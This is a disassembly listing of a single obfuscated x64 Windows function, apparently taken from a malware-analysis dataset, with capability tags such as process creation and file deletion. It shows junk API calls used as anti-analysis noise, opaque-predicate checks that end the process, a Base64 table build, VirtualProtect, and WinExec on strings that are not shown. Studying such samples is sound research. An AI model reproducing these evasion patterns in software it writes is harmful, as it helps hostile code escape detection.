Function at 0x1800077e0
Capabilities:
Copy file
Create process on windows
Delete directory
Get common file path
Get disk information
Get system information on windows
Move file
Query environment variable
Read file on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
mov rsi, rcx
xor r15d, r15d
mov dword [rbp - 0x15], r15d
mov dword [rcx], r15d
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
lea ecx, [r15 + 0x18]
call fcn.1800439c8
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsi + 8], rax
lea rcx, [rsi + 0x18]
mov qword [rcx], r15
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
mov qword [rsi + 0x30], 7
mov qword [rsi + 0x38], 8
mov dword [rsi], 0x3f800000
mov r8, qword [rsi + 8]
lea edx, [r15 + 0x10]
call fcn.18000b850
nop
mov dword [rbp - 0x15], 1
mov edi, r15d
call fcn.1800070f0
mov byte [rbp + 0x6f], 0x41
nop word [rax + rax]
lea r8, [rbp + 0x6f]
lea rdx, [rbp - 0x11]
mov rcx, rsi
call fcn.18000de50
mov rcx, qword [rax]
mov byte [rcx + 0x11], dil
inc edi
movzx eax, byte [rbp + 0x6f]
inc al
mov byte [rbp + 0x6f], al
cmp al, 0x5a
jle 0x180007870
mov byte [rbp + 0x77], 0x61
lea rbx, [0x1800c4b68]
nop dword [rax]
nop word [rax + rax]
cmp dword [0x1800afe90], 0xb1195f51
jne 0x180007a97
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_PrivateExtractIconsW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterShellHookWindow]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeUnaccessData]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetIconInfo]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CopyIcon]
call qword [sym.imp.USER32.dll_EndMenu]
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CharUpperBuffW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetPhysicalCursorPos]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateDialogParamW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DiscardVirtualMemory]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GrayStringW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMenuItemID]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryTransactedW]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [0x1800c4b98]
xor edx, edx
lea rcx, [0x1800c4bc8]
call qword [sym.imp.KERNEL32.dll_FindNLSStringEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ActivateKeyboardLayout]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CharLowerW]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ScrollDC]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowWindowAsync]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsCharUpperW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_PrintWindow]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SleepConditionVariableCS]
mov word [rsp + 0x20], r15w
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceTypesExW]
lea r8, [rbp + 0x77]
lea rdx, [rbp - 1]
mov rcx, rsi
call fcn.18000de50
mov rcx, qword [rax]
mov byte [rcx + 0x11], dil
inc edi
movzx eax, byte [rbp + 0x77]
inc al
mov byte [rbp + 0x77], al
cmp al, 0x7a
jle 0x1800078b0
mov edx, 0x303
mov rcx, qword [0x1800afeb8]
mov rcx, qword [rcx + 0x10]
call fcn.180004340
mov rbx, rax
mov edx, 0x158
mov rcx, qword [0x1800afe98]
mov rcx, qword [rcx + 0x10]
call fcn.180004340
mov dword [rax + 8], ebx
mov byte [rbp + 0x7f], 0x30
mov r12d, 0x6eb
nop dword [rax + rax]
mov r8d, 0x219a
mov r9d, 0x1dab
nop dword [rax]
inc r9d
test r9b, 1
jne 0x180007b10
nop dword [rax]
inc r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
jne 0x180007b20
lea eax, [r9 - 0x861]
test al, 1
mov ecx, 0xfffff915
cmove ecx, r12d
add ecx, eax
mov r9d, r8d
sub r9d, ecx
lea r14d, [r8 + 0x45b6]
lea r8d, [rcx + 0x2dd8]
mov ebx, r8d
mov r10d, 0xfffed9ad
mov r11d, 0xffff551a
sub r11d, r14d
nop dword [rax]
nop dword [rax + rax]
inc r10d
mov eax, 0x55555556
imul r10d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r10d, ecx
jne 0x180007b80
lea r9d, [r9*2 - 0x18916]
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x180007bda
nop dword [rax]
inc r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
jne 0x180007bc0
sub r9d, r8d
lea ecx, [r11 + 0x18a56]
test r9b, 1
je 0x180007bf9
nop word [rax + rax]
inc r9d
test r9b, 1
jne 0x180007bf0
lea eax, [rbx - 0x84ab]
sub ecx, eax
cmp ecx, 0xc091
jne 0x180008306
cmp r9d, 0xfffe612a
jne 0x180008306
cmp eax, 0xffffb78d
jne 0x180008306
cmp r10d, 0xfffed9af
jne 0x180008306
cmp r14d, 0x6752
jne 0x180008306
cmp r8d, 0x3c39
jne 0x180008306
lea r8, [rbp + 0x7f]
lea rdx, [rbp + 0xf]
mov rcx, rsi
call fcn.18000de50
mov rcx, qword [rax]
mov byte [rcx + 0x11], dil
inc edi
movzx eax, byte [rbp + 0x7f]
inc al
mov byte [rbp + 0x7f], al
cmp al, 0x39
jle 0x180007b00
mov edx, 0x305
mov rcx, qword [0x1800afea0]
mov rcx, qword [rcx + 0x10]
call fcn.180004340
mov rbx, rax
cmp dword [0x1800afe90], 0x8ae8163f
jne 0x180007dd7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockShared]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommProperties]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileBandwidthReservation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1800c4bf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileMUIInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AllocateUserPhysicalPagesNuma]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetWaitableTimerEx]
call qword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SleepConditionVariableSRW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor ecx, ecx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetDefaultDllDirectories]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edx, 0x160
mov rcx, qword [0x1800afea8]
mov rcx, qword [rcx + 0x10]
call fcn.180004340
mov dword [rbp - 0x19], eax
cmp dword [0x1800afe90], 0xa6b6cb06
jne 0x180007fea
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
xor eax, eax
lock cmpxchg dword [r15], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddIntegrityLabelToBoundaryDescriptor]
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
lea r9, [0x1800c4c30]
xor r8d, r8d
lea rdx, [0x1800c4c70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindStringOrdinal]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindAtomW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
mov qword [rsp + 0x20], r15
mov r9d, dword [rbp + 0x67]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
xor edx, edx
mov qword [rsp + 0x20], r15
mov r9d, dword [rbp + 0x67]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
xor edx, edx
lea rcx, [0x1800c4ca0]
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupWrite]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDevicePowerState]
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
lea rax, [0x1800c4cb8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1800c4cf8]
call qword [sym.imp.KERNEL32.dll_GetDurationFormatEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapWalk]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProfileSectionW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1800c4d28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileMUIPath]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov qword [rsp + 0x20], r15
mov r9d, dword [rbp + 0x67]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
xor edx, edx
lea rcx, [0x1800c4d48]
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 0x257
mov rcx, qword [0x1800afea8]
mov rcx, qword [rcx + 0x10]
call fcn.180004340
mov rdx, rax
lea r9, [rbp - 0x19]
mov r8d, dword [rbp - 0x19]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [rbp + 0x6f], 0x2b
lea r8, [rbp + 0x6f]
lea rdx, [rbp + 0xf]
mov rcx, rsi
call fcn.18000de50
mov rax, qword [rax]
mov byte [rax + 0x11], dil
mov byte [rbp + 0x6f], 0x2f
lea r8, [rbp + 0x6f]
lea rdx, [rbp - 1]
mov rcx, rsi
call fcn.18000de50
inc dil
mov rax, qword [rax]
mov byte [rax + 0x11], dil
mov r8d, 0xffffc5f1
nop dword [rax]
nop word [rax + rax]
inc r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
jne 0x180008060
lea eax, [r8*4]
sub eax, 0xffff53f1
lea ecx, [rax + 0x26172]
mov edx, 0xfffbd444
sub edx, ecx
sub edx, eax
test cl, 1
je 0x1800080a7
nop dword [rax + rax]
inc ecx
test cl, 1
jne 0x1800080a0
add ecx, 0xf6c
lea eax, [rdx - 0x738b5]
lea r11d, [rdx + 0x40272]
lea r9d, [rax - 0x646]
sub ecx, eax
lea r10d, [rcx*2 + 0x17e2]
lea r8d, [r10 - 0x79eb5]
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x1800080f3
test r8d, r8d
mov eax, 0x4103
jg 0x1800080f8
mov eax, 0x49b
sub r9d, r11d
add r8d, eax
mov eax, 0x55555556
imul r11d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r11d, ecx
je 0x180008123
test r11d, r11d
jle 0x180008123
add r11d, 0xfffff7eb
jmp 0x18000812a
add r11d, 0x815
sub r11d, r9d
mov eax, 0xffffe3df
sub eax, r10d
add r8d, eax
lea edx, [r10*2 - 0x35d8]
add r11d, r8d
lea ecx, [r9 + 0x69]
add ecx, edx
mov eax, ecx
and eax, 0x80000003
jge 0x180008159
dec eax
or eax, 0xfffffffc
inc eax
lea r10d, [rcx - 0xa53]
test eax, eax
cmove r10d, ecx
lea eax, [rdx + r11]
lea r9d, [rax*2 + 0x2351]
lea edx, [r10 + 0x11d]
add edx, r8d
lea eax, [r9 + r9]
mov ecx, edx
sub ecx, eax
add ecx, r11d
lea r8d, [rcx*2 - 0x6952]
sub r10d, edx
add r10d, 0x73b
mov ecx, r10d
sub ecx, r8d
sub ecx, r10d
sub ecx, r8d
add ecx, 0xffffa1ee
add ecx, r9d
lea r10d, [r10*2 - 0x9d93]
add r10d, r8d
add r10d, ecx
lea r8d, [rcx - 0x2ff9]
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x1800081e8
test r8d, r8d
jle 0x1800081e8
add r8d, 0xfffff9ce
jmp 0x1800081ef
add r8d, 0x632
mov r9d, 0xfffffb31
sub r9d, r10d
lea eax, [r10*2 + 0x35e8]
mov ecx, r9d
neg ecx
sub ecx, eax
add r10d, 0x2d74
sub r8d, r10d
add ecx, 0xffffdbb3
add r8d, ecx
sub r9d, 0x1d42
add r8d, r9d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x18000825a
nop dword [rax + rax]
inc r8d
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea edx, [rdx + rdx*2]
cmp r8d, edx
jne 0x180008240
add r10d, 0xffffe392
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
je 0x180008284
test r9d, r9d
lea edx, [r9 + 0x4aa3]
jg 0x18000828b
lea edx, [r9 + 0xb8b]
add edx, r10d
add r10d, 0x878
lea r9d, [r10 - 0x1c6e]
mov eax, r9d
and eax, 0x80000003
jge 0x1800082ad
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, 0xffffddea
mov r11d, 0x2216
test eax, eax
cmove ecx, r11d
add ecx, r9d
cmp edx, 0xfffffa80
jne 0x1800082fa
cmp ecx, 0x232b326
jne 0x1800082fa
lea eax, [rcx + r10]
cmp eax, 0x46560a4
jne 0x1800082fa
cmp r8d, 0xfd308673
jne 0x1800082fa
mov rax, rsi
add rsp, 0x90
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]